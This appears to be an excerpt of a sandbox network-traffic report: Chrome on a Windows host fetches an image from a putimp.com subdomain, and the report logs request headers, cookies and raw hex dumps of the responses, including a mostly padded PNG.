2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 0d e9 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c Data Ascii: ,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: ca ec d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 Data Ascii: w0<Kj}*",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_F
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: cc 4e 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 Data Ascii: N`D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<j
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: d6 b6 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 Data Ascii: Bt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334R
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 9f 07 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 Data Ascii: M [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJs
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 8c 3a e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 Data Ascii: :.V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 43 93 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 Data Ascii: Cb<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zb
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 2d 98 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 Data Ascii: -pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\7
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 0d 0a 39 64 31 0d 0a ce 56 b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad Data Ascii: 9d1V/f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\MuwSVC s.<\._~_Q\|YQ~!u8U!#\F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49804	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:12 UTC	1516	OUT	GET /stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	791	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pAPkpctv09mmlbHkzPGWh1M7OCcXDo8bPlCA0Q4FMHkTU6bxkjA7XpHlXzslryMThCgIVAg%2BzT9IeMFgJKNfXYtmyOjFJB0wZZcvU%2BaCkZoi4oqpcJiLa%2FhEoeVsaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5544e38b05a-ATL
2024-04-16 19:40:13 UTC	578	IN	Data Raw: 32 39 35 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: 295cPNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	435	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 64 37 37 0d 0a 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: d77 @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49805	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
